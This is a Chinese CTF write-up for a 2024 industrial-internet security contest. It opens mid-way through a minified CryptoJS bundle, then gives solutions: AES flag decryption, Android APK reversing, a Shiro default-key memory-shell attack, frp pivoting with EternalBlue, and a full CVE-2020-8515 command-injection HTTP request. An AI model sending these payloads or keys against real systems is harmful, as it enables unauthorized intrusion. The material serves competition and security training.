554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],u=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],n=e.DES=r.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=h[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],o=0;o<16;o++){for(var s=n[o]=[],c=f[o],r=0;r<24;r++)s[r/6|0]|=e[(l[r]-1+c)%28]<<31-r%6,s[4+(r/6|0)]|=e[28+(l[r+24]-1+c)%28]<<31-r%6;s[0]=s[0]<<1|s[0]>>>31;for(r=1;r<7;r++)s[r]=s[r]>>>4*(r-1)+3;s[7]=s[7]<<5|s[7]>>>27}for(var a=this._invSubKeys=[],r=0;r<16;r++)a[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],p.call(this,4,252645135),p.call(this,16,65535),_.call(this,2,858993459),_.call(this,8,16711935),p.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,a=0;a<8;a++)c|=d[a][((s^n[a])&u[a])>>>0];this._lBlock=s,this._rBlock=o^c}var h=this._lBlock;this._lBlock=this._rBlock,this._rBlock=h,p.call(this,1,1431655765),_.call(this,8,16711935),_.call(this,2,858993459),p.call(this,16,65535),p.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function p(t,e){e=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=e,this._lBlock^=e<<t}function _(t,e){e=(this._rBlock>>>t^this._lBlock)&e;this._lBlock^=e,this._rBlock^=e<<t}t.DES=r._createHelper(n);e=e.TripleDES=r.extend({_doReset:function(){var t=this._key.words;if(2!==t.length&&4!==t.length&&t.length<6)throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192.");var e=t.slice(0,2),r=t.length<4?t.slice(0,2):t.slice(2,4),t=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=n.createEncryptor(i.create(e)),this._des2=n.createEncryptor(i.create(r)),this._des3=n.createEncryptor(i.create(t))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=r._createHelper(e)}(),function(){var t=U,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;for(var n=0,o=0;n<256;n++){var s=n%r,s=e[s>>>2]>>>24-s%4*8&255,o=(o+i[n]+s)%256,s=i[n];i[n]=i[o],i[o]=s}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){var r=(r+t[e=(e+1)%256])%256,o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);r=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0<t;t--)n.call(this)}});t.RC4Drop=e._createHelper(r)}(),F=(M=U).lib.StreamCipher,P=M.algo,D=[],E=[],R=[],P=P.Rabbit=F.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=0;r<4;r++)t[r]=16711935&(t[r]<<8|t[r]>>>24)|4278255360&(t[r]<<24|t[r]>>>8);for(var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],r=this._b=0;r<4;r++)N.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],e=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),o=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),s=e>>>16|4294901760&o,c=o<<16|65535&e;n[0]^=e,n[1]^=s,n[2]^=o,n[3]^=c,n[4]^=e,n[5]^=s,n[6]^=o,n[7]^=c;for(r=0;r<4;r++)N.call(this)}},_doProcessBlock:function(t,e){var r=this._X;N.call(this),D[0]=r[0]^r[5]>>>16^r[3]<<16,D[1]=r[2]^r[7]>>>16^r[5]<<16,D[2]=r[4]^r[1]>>>16^r[7]<<16,D[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)D[i]=16711935&(D[i]<<8|D[i]>>>24)|4278255360&(D[i]<<24|D[i]>>>8),t[e+i]^=D[i]},blockSize:4,ivSize:2}),M.Rabbit=F._createHelper(P),F=(M=U).lib.StreamCipher,P=M.algo,W=[],O=[],I=[],P=P.RabbitLegacy=F.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)q.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],t=o[1],e=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),o=16711935&(t<<8|t>>>24)|4278255360&(t<<24|t>>>8),s=e>>>16|4294901760&o,t=o<<16|65535&e;i[0]^=e,i[1]^=s,i[2]^=o,i[3]^=t,i[4]^=e,i[5]^=s,i[6]^=o,i[7]^=t;for(n=0;n<4;n++)q.call(this)}},_doProcessBlock:function(t,e){var r=this._X;q.call(this),W[0]=r[0]^r[5]>>>16^r[3]<<16,W[1]=r[2]^r[7]>>>16^r[5]<<16,W[2]=r[4]^r[1]>>>16^r[7]<<16,W[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)W[i]=16711935&(W[i]<<8|W[i]>>>24)|4278255360&(W[i]<<24|W[i]>>>8),t[e+i]^=W[i]},blockSize:4,ivSize:2}),M.RabbitLegacy=F._createHelper(P),U});
var enc = "LrcNR2XwpNQMORyv85ae1GY16H3aKPkdSyAhv726TgNNTukxUmYvFb0XNnT4QWAZ";
var REQ = "bool";
alert(CryptoJS.AES.decrypt(enc, CryptoJS.enc.Utf8.parse(REQ), {
              mode : CryptoJS.mode.ECB,
              padding : CryptoJS.pad.Pkcs7
            }).toString(CryptoJS.enc.Utf8));
            

直接跑js代码exp即得flag：flag{39383121F5545635A5EE13C356F8AA18}

REVERSE

简单逆向

ida打开直接有

public void ch3ckflag() {
        if (DonUtils.c(sin() + this.editText.getText().toString() + c().substring(22, 41)).replaceAll("\s+", "").equals("ZjgyNWFiMGE3ZTlkYjFmZDNlZmUxZDliMzI1MzcxZWJObVlMcklJb0w2ZmFBckprQmhjM05aUkdObVJXWjBhVTlxYw==")) {
            Toast.makeText(this, "flag{" + this.editText.getText().toString() + "}", 0).show();
        } else {
            Toast.makeText(this, "wrong", 0).show();
        }
    }

    public static String getMD5(PackageManager packageManager, String str) {
        try {
            Signature signature = packageManager.getPackageInfo(str, 64).signatures[0];
            MessageDigest messageDigest = MessageDigest.getInstance("MD5");
            messageDigest.update(signature.toByteArray());
            byte[] digest = messageDigest.digest();
            StringBuilder sb = new StringBuilder();
            for (byte b : digest) {
                sb.append(Integer.toString((b & UByte.MAX_VALUE) + 256, 16).substring(1));
            }
            return sb.toString();
        } catch (PackageManager.NameNotFoundException | NoSuchAlgorithmException e) {
            e.printStackTrace();
            return null;
        }
    }

    public String sin() {
        return getMD5(getPackageManager(), DonUtils.d("Y29tLmhhaGFoYS5rZWVwc2ltcGxl"));
    }
md5 + flag + str，故那个base64解码后中间部分就是 flag
md5 32字节，str 19字节，掐头去尾获得 flag：flag{NmYLrIIoL6faArJk}

智能制造

业务系统

直接shiro打个内存马，key是默认的：

kPH+bIxk5D2deZiIxcaaaA==

flag在/root/flag.txt：

‍

直接拿刚才的shiro机器frp搭个隧道代理出来当跳板msf永恒之蓝直接梭了，flag在C:UsersAdministratorsDesktopflag.txt

CVE-2020-8515，POC直接发包打：

POST /cgi-bin/mainfunction.cgi HTTP/1.1                
Host: 192.26.2.142                
Content-Type: application/x-www-form-urlencoded                
Content-Length: 88                
               
action=login&keyPath=%27%0acat${IFS}/flag.txt%0a%27&loginUser=TenMap1e&loginPwd=TenMap1e

flag：flag{HJJIJOOMHHNBSEL}。

原文始发于微信公众号（ChaMd5安全团队）：2024中国工业互联网安全大赛智能家电行业赛道 writeup by Mini-Venom